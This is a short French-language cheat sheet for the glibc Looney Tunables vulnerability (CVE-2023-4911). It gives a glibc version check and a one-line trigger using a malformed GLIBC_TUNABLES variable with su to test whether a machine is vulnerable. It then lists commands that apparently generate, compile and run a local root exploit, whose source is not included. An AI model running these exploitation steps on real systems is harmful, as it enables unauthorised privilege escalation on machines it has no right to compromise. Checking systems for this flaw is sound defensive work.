
Looney Tunables CVE-2023-4911
Vérifiez la version de glibc
ldd --version
Vérifiez si une machine est vulnérable à Looney Tunables CVE-2023-4911
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Si nous obtenons une Segmentation fault (core dumped), alors la machine est vulnérable.
python3 libc.py
gcc -o exp exp.c
./exp